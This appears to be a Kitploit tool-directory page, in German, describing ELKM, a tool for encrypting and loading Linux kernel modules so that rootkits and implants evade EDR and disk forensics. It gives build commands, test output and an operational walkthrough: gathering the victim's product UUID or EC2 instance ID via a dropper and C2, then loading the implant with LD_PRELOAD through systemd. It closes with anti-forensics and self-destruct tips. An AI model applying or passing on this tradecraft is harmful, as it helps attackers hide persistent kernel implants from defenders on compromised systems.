Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
encrypted-linux-kernel-modules — encrypted-linux-kernel-modules | Kitploit
Tools/GitHubGitHub/cenobyte-vincit/encrypted-linux-kernel-modules
Privilege EscalationEncryption/Decryption ToolsPersistence MechanismsIDS/IPS EvasionPost-ExploitationCommand and ControlRed TeamingPayload Development

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
cenobyte-vincit/encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

Repository anzeigen
133vor 5 JahrenNoch nicht geprüft

ELKM: Verschlüsselte ladbare Linux-x86-64-Kernelmodule

ELKM bietet einen Mechanismus, um verschlüsselte ladbare Kernelmodule (LKM) sicher zu übertragen und zu laden. Ziel ist es, kernelbasierte Rootkits und Implantate vor der Beobachtung durch Endpoint-Detection-and-Response-Software (EDR) zu schützen und die Auswirkungen einer Wiederherstellung durch Festplatten-Forensik-Tools zu neutralisieren.

RHEL/CentOS 7

ELKM wurde speziell für RHEL/CentOS 7 x86-64 geschrieben.

root@kitploit:~
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64

Build-Umgebung vorbereiten

root@kitploit:~
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y

Lokale automatisierte Tests

Das Testskript führt 4 Tests durch:

  • Passwort bereitgestellt über /sys/class/dmi/id/product_uuid
  • Passwort bereitgestellt über http://169.254.169.254/latest/meta-data/instance-id (bei EC2)
  • Passwort bereitgestellt über die Umgebung
  • Passwort bereitgestellt über stdin
root@kitploit:~
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CLEAN   /home/test/encrypted-kernel-modules/.tmp_versions
  CLEAN   /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CC [M]  /home/test/encrypted-kernel-modules/kernel-module.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/test/encrypted-kernel-modules/kernel-module.mod.o
  LD [M]  /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

Build und manuelles Erstellen einer Test-Payload

root@kitploit:~
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

Operativer Einsatz

ELKM an ein bestimmtes System binden

Über product_uuid

Auf dem Zielsystem:

root@kitploit:~
cat /sys/class/dmi/id/product_uuid

Hinweis: Dies sollte automatisiert erfolgen, z. B. über einen Dropper. Übermitteln Sie die product_uuid über C2 an die Staging-Infrastruktur.

Auf der Staging-Infrastruktur:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $uuid

Laden Sie auf dem Zielsystem den Loader von der Staging-Infrastruktur herunter und führen Sie ihn über eine vertrauenswürdige ausführbare Datei aus:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
Über die EC2-Instance-ID

Auf dem Zielsystem:

root@kitploit:~
curl http://169.254.169.254/latest/meta-data/instance-id

Hinweis: Dies sollte automatisiert erfolgen, z. B. über einen Dropper. Übermitteln Sie die Instance-ID über C2 an die Staging-Infrastruktur.

Auf der Staging-Infrastruktur:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $instanceid

Laden Sie auf dem Zielsystem den Loader von der Staging-Infrastruktur herunter und führen Sie ihn über eine vertrauenswürdige ausführbare Datei aus:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

Festlegen des Passworts für die Verwendung mit Umgebung oder interaktiver Shell

Auf der Staging-Infrastruktur:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so PASSWORD

Auf dem Zielsystem über die Umgebung:

root@kitploit:~
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#

Oder über stdin:

root@kitploit:~
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#

Tipps

Einige Tipps, wenn Sie ELKM operativ einsetzen möchten:

  • Nicht mit 'debug' kompilieren
  • Die Funktionsnamen ändern
  • Weitere Antiforensik-Techniken implementieren
  • In Betracht ziehen, OpenSSL durch eine andere Krypto-Bibliothek zu ersetzen
  • Einen Selbstzerstörungsmodus implementieren, wenn Passwörter fehlschlagen

Wir haben uns entschieden, diese Funktionen nicht zu implementieren, um Fingerprinting zu vermeiden.

Tool herunterladen